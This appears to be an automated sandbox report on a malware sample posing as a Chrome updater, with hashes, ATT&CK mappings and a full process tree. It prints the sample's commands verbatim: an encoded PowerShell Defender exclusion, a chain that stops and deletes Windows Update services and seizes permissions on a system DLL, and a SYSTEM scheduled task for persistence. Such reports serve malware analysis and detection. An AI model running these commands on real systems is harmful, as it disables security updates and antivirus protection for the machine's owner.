375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97

General

Target

tmp.exe
Size

1.8MB
MD5

6691c3106d5319f108114a48f5177396
SHA1

1ce92f03b5e7bd1c1d591141693f6e0261f3afee
SHA256

375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97
SHA512

19860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7
SSDEEP

49152:+1rLSuOMv2pORqIwpn3AcRs3gzAiYSWTqP7:K3O02WyDQDDTqP

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

276 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

1312 takeown.exe
976 icacls.exe
976 takeown.exe
1564 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Loads dropped DLL 1 IoCs

Processes:

taskeng.exe

pid process

556 taskeng.exe
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exetakeown.exeicacls.exetakeown.exe

pid process

1564 icacls.exe
1312 takeown.exe
976 icacls.exe
976 takeown.exe

pid	process
276	updater.exe

pid	process
1312	takeown.exe
976	icacls.exe
976	takeown.exe
1564	icacls.exe

pid	process
556	taskeng.exe

pid	process
1564	icacls.exe
1312	takeown.exe
976	icacls.exe
976	takeown.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Program Files directory 2 IoCs

Processes:

tmp.exe

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	tmp.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	tmp.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1144 sc.exe
1324 sc.exe
1788 sc.exe
1552 sc.exe
1516 sc.exe
1568 sc.exe
1612 sc.exe
824 sc.exe
996 sc.exe
1956 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1404 schtasks.exe

pid	process
1144	sc.exe
1324	sc.exe
1788	sc.exe
1552	sc.exe
1516	sc.exe
1568	sc.exe
1612	sc.exe
824	sc.exe
996	sc.exe
1956	sc.exe

pid	process
1404	schtasks.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

powershell.exeupdater.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0a6f52630edd801	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	updater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	updater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	updater.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
1316	reg.exe
2032	reg.exe
1528	reg.exe
432	reg.exe
1684	reg.exe
1100	reg.exe
1240	reg.exe
1548	reg.exe
1816	reg.exe
1744	reg.exe
1752	reg.exe
1592	reg.exe
1524	reg.exe
1204	reg.exe
1164	reg.exe
932	reg.exe
2028	reg.exe
1132	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exetmp.exepowershell.exeupdater.exe

pid process

2036 powershell.exe
1700 tmp.exe
860 powershell.exe
276 updater.exe

pid	process
2036	powershell.exe
1700	tmp.exe
860	powershell.exe
276	updater.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exetmp.exetakeown.exepowershell.exeupdater.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	1700	tmp.exe
Token: SeTakeOwnershipPrivilege	1312	takeown.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	276	updater.exe
Token: SeTakeOwnershipPrivilege	976	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

tmp.execmd.execmd.execmd.exetaskeng.exe

description	pid	process	target process
PID 1700 wrote to memory of 2036	1700	tmp.exe	powershell.exe
PID 1700 wrote to memory of 2036	1700	tmp.exe	powershell.exe
PID 1700 wrote to memory of 2036	1700	tmp.exe	powershell.exe
PID 1700 wrote to memory of 1636	1700	tmp.exe	cmd.exe
PID 1700 wrote to memory of 1636	1700	tmp.exe	cmd.exe
PID 1700 wrote to memory of 1636	1700	tmp.exe	cmd.exe
PID 1636 wrote to memory of 1788	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1788	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1788	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1612	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1612	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1612	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 824	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 824	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 824	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1552	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1552	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1552	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1516	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1516	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1516	1636	cmd.exe	sc.exe
PID 1636 wrote to memory of 1524	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1524	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1524	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 932	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 932	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 932	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1744	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1744	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1744	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1684	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1684	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1684	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1752	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1752	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1752	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1312	1636	cmd.exe	takeown.exe
PID 1636 wrote to memory of 1312	1636	cmd.exe	takeown.exe
PID 1636 wrote to memory of 1312	1636	cmd.exe	takeown.exe
PID 1636 wrote to memory of 976	1636	cmd.exe	icacls.exe
PID 1636 wrote to memory of 976	1636	cmd.exe	icacls.exe
PID 1636 wrote to memory of 976	1636	cmd.exe	icacls.exe
PID 1700 wrote to memory of 960	1700	tmp.exe	cmd.exe
PID 1700 wrote to memory of 960	1700	tmp.exe	cmd.exe
PID 1700 wrote to memory of 960	1700	tmp.exe	cmd.exe
PID 960 wrote to memory of 1404	960	cmd.exe	schtasks.exe
PID 960 wrote to memory of 1404	960	cmd.exe	schtasks.exe
PID 960 wrote to memory of 1404	960	cmd.exe	schtasks.exe
PID 1700 wrote to memory of 1144	1700	tmp.exe	cmd.exe
PID 1700 wrote to memory of 1144	1700	tmp.exe	cmd.exe
PID 1700 wrote to memory of 1144	1700	tmp.exe	cmd.exe
PID 1144 wrote to memory of 1872	1144	cmd.exe	schtasks.exe
PID 1144 wrote to memory of 1872	1144	cmd.exe	schtasks.exe
PID 1144 wrote to memory of 1872	1144	cmd.exe	schtasks.exe
PID 1636 wrote to memory of 2028	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 2028	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 2028	1636	cmd.exe	reg.exe
PID 556 wrote to memory of 276	556	taskeng.exe	updater.exe
PID 556 wrote to memory of 276	556	taskeng.exe	updater.exe
PID 556 wrote to memory of 276	556	taskeng.exe	updater.exe
PID 1636 wrote to memory of 1592	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1592	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1592	1636	cmd.exe	reg.exe
PID 1636 wrote to memory of 1548	1636	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp.exe"
1⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAbwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAHcAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcgBkACMAPgA="
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2036

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:1788

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1612

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:824

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1552

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1516

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:1524

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:932

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:1744

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:1684

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:1752

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1312

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:976

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2028

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1592

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1548

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:1100

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:1628

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:1692

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:1396

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:1772

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:1524

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:1000

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:1684

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
2⤵
- Suspicious use of WriteProcessMemory
PID:960

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Program Files\Google\Chrome\updater.exe\""
3⤵
- Creates scheduled task(s)
PID:1404

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
2⤵
- Suspicious use of WriteProcessMemory
PID:1144

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineQC"
3⤵
PID:1872

C:\Windows\system32\taskeng.exe
taskeng.exe {1018BD6A-7E61-4E53-B20F-437050FE9901} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:556

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAcAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAbwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAHcAawBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAcgBkACMAPgA="
3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:860

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:1312

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:1568

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:996

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:1956

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:1132

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:1144

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:1324

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:1240

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies registry key
PID:1316

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:2032

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1204

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:976

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1564

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1528

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:432

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1164

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:1816

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:892

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:1628

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:1692

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1396

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:1772

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:1524

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:1860

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "bdapyxxyq"
3⤵
PID:1728

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

2

T1031

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

1

T1489

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
1.8MB

MD5
6691c3106d5319f108114a48f5177396

SHA1
1ce92f03b5e7bd1c1d591141693f6e0261f3afee

SHA256
375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97

SHA512
19860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
1.8MB

MD5
6691c3106d5319f108114a48f5177396

SHA1
1ce92f03b5e7bd1c1d591141693f6e0261f3afee

SHA256
375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97

SHA512
19860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7

Download Submit
\Program Files\Google\Chrome\updater.exe
Filesize
1.8MB

MD5
6691c3106d5319f108114a48f5177396

SHA1
1ce92f03b5e7bd1c1d591141693f6e0261f3afee

SHA256
375294a3dc682fe2804c58ddbab44a2ae61e39d3c4a02507d937ae6a09334d97

SHA512
19860f3c0479d5bbc5a7ccdaf609d68ec2007480cc8ea4becb5c0457ab4aeacdb6e0fa75e7d274436d5825342321bbb9d49468f3e990460b5b85a430c7ebdba7

Download Submit
memory/276-113-0x0000000000A60000-0x0000000000A66000-memory.dmp

Filesize
24KB

Download
memory/276-83-0x0000000000000000-mapping.dmp

Download
memory/276-87-0x000000013FA50000-0x000000013FC2E000-memory.dmp

Filesize
1.9MB

Download
memory/432-117-0x0000000000000000-mapping.dmp

Download
memory/824-67-0x0000000000000000-mapping.dmp

Download
memory/860-96-0x000007FEEC450000-0x000007FEECFAD000-memory.dmp

Filesize
11.4MB

Download
memory/860-91-0x0000000000000000-mapping.dmp

Download
memory/860-95-0x000007FEECFB0000-0x000007FEED9D3000-memory.dmp

Filesize
10.1MB

Download
memory/892-120-0x0000000000000000-mapping.dmp

Download
memory/932-71-0x0000000000000000-mapping.dmp

Download
memory/960-77-0x0000000000000000-mapping.dmp

Download
memory/976-114-0x0000000000000000-mapping.dmp

Download
memory/976-76-0x0000000000000000-mapping.dmp

Download
memory/996-104-0x0000000000000000-mapping.dmp

Download
memory/1000-100-0x0000000000000000-mapping.dmp

Download
memory/1100-90-0x0000000000000000-mapping.dmp

Download
memory/1132-108-0x0000000000000000-mapping.dmp

Download
memory/1144-107-0x0000000000000000-mapping.dmp

Download
memory/1144-79-0x0000000000000000-mapping.dmp

Download
memory/1164-118-0x0000000000000000-mapping.dmp

Download
memory/1204-112-0x0000000000000000-mapping.dmp

Download
memory/1240-109-0x0000000000000000-mapping.dmp

Download
memory/1312-75-0x0000000000000000-mapping.dmp

Download
memory/1312-102-0x0000000000000000-mapping.dmp

Download
memory/1316-110-0x0000000000000000-mapping.dmp

Download
memory/1324-106-0x0000000000000000-mapping.dmp

Download
memory/1396-97-0x0000000000000000-mapping.dmp

Download
memory/1396-123-0x0000000000000000-mapping.dmp

Download
memory/1404-78-0x0000000000000000-mapping.dmp

Download
memory/1516-69-0x0000000000000000-mapping.dmp

Download
memory/1524-99-0x0000000000000000-mapping.dmp

Download
memory/1524-70-0x0000000000000000-mapping.dmp

Download
memory/1524-125-0x0000000000000000-mapping.dmp

Download
memory/1528-116-0x0000000000000000-mapping.dmp

Download
memory/1548-88-0x0000000000000000-mapping.dmp

Download
memory/1552-68-0x0000000000000000-mapping.dmp

Download
memory/1564-115-0x0000000000000000-mapping.dmp

Download
memory/1568-103-0x0000000000000000-mapping.dmp

Download
memory/1592-85-0x0000000000000000-mapping.dmp

Download
memory/1612-66-0x0000000000000000-mapping.dmp

Download
memory/1628-93-0x0000000000000000-mapping.dmp

Download
memory/1628-121-0x0000000000000000-mapping.dmp

Download
memory/1636-64-0x0000000000000000-mapping.dmp

Download
memory/1684-73-0x0000000000000000-mapping.dmp

Download
memory/1684-101-0x0000000000000000-mapping.dmp

Download
memory/1692-94-0x0000000000000000-mapping.dmp

Download
memory/1692-122-0x0000000000000000-mapping.dmp

Download
memory/1700-54-0x000000013FDF0000-0x000000013FFCE000-memory.dmp

Filesize
1.9MB

Download
memory/1700-55-0x000007FEFC611000-0x000007FEFC613000-memory.dmp

Filesize
8KB

Download
memory/1728-127-0x0000000000060000-0x0000000000067000-memory.dmp

Filesize
28KB

Download
memory/1728-129-0x0000000000000000-mapping.dmp

Download
memory/1728-130-0x0000000000060000-0x0000000000067000-memory.dmp

Filesize
28KB

Download
memory/1728-131-0x00000000007E0000-0x00000000007E6000-memory.dmp

Filesize
24KB

Download
